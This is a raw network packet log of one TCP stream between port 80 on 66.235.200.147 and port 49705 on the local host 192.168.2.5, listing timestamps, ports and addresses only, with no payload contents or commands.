Nov 27, 2022 04:36:42.999250889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999270916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999291897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999294043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999294043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999313116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999316931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999335051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999340057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999356985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999378920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999393940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999399900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999439001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999727011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999748945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999771118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999789953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999810934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999828100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999834061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999856949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999877930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999902010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999917984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999917984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999917984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999924898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999947071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999960899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.999968052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.999989986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000011921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000031948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000044107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000044107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000052929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000075102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000093937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000096083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000117064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000138044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000144958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000159025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000174046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000183105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000204086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000221968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000226021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000247955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000260115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000268936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000365019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000801086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000823975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000844955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000864983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000885963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000909090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000931025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000936031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000936031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000936031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.000952005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000973940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000996113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001019001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.000993967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001039982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001063108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001070023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001070023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001085997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001106977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001126051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001144886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001148939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001162052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001172066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001192093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001209021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001211882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001234055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001243114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001256943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001276016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001291037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001296043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001317024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001327038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001341105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001434088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001663923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001686096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001704931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001741886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001758099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001764059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001780033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001801014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001820087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001841068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001859903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001863003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001882076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001903057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001916885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001924038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001946926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001950026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.001969099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001988888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.001993895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002008915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002031088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002051115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002052069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002073050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002089024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002094984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002115965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002132893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002137899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002159119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002180099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002193928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002228975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002554893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002577066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002624035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002635002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002666950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002688885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002731085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002753973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002753973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002763987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002849102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002851009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002871990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002903938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002923965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002935886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.002944946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002966881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002989054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.002998114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003010988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003031969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003036022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003052950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003074884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003088951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003097057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003115892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003118038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003139973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003142118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003160954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003182888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003204107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003212929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003225088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003235102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003246069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003304005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003649950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003674030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003690958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003705025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003720999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003736019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003751040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003767014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003782988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003798008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003818035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003833055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003858089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003879070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003894091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003901005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003921032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.003926992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003948927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003969908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.003989935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004000902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004000902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004012108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004034042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004055023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004060030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004076004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004085064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004108906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004127026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004143000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004143953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004178047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004539013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004556894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004573107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004611015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004645109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004657984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004676104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004699945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004719019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004734993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004738092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004756927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004775047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004780054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004791975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004806042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004812956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004833937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004851103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004852057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004872084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004889965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004892111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004909039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004926920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004931927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004945040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004957914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.004965067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004983902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.004997969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005002022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005021095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005038977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005039930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005057096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005074978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005089998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005126953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005491018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005508900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005558968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005572081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005578995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005599022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005613089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005619049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005641937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005654097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005660057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005681038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005701065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005717993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005736113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005743980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005743980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005754948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005769014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005775928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005795956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005811930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005815029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005834103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005850077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005861998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005867958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005886078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005886078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005903959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005923033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005929947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005942106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005959988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.005964994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.005997896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006526947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006593943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006611109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006628036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006647110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006664038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006676912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006678104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006684065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006701946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006704092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006721973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006738901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006758928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006776094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006793022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006804943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006814003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006814003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006814957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006824017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006843090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006855011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006860971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006885052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006900072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006911993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006920099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006937981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006956100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006973028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.006980896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.006990910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007004976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007009983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007028103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007035971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007046938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007086039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007354021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007370949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007389069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007406950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007432938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007458925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007463932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007484913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007500887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007518053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007534027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007535934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007553101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007556915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007575035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007586956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007592916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007611990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007622957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007847071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007864952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007880926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007899046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007916927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.007917881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.007936001 CET	80	49705	66.235.200.147	192.168.2.5
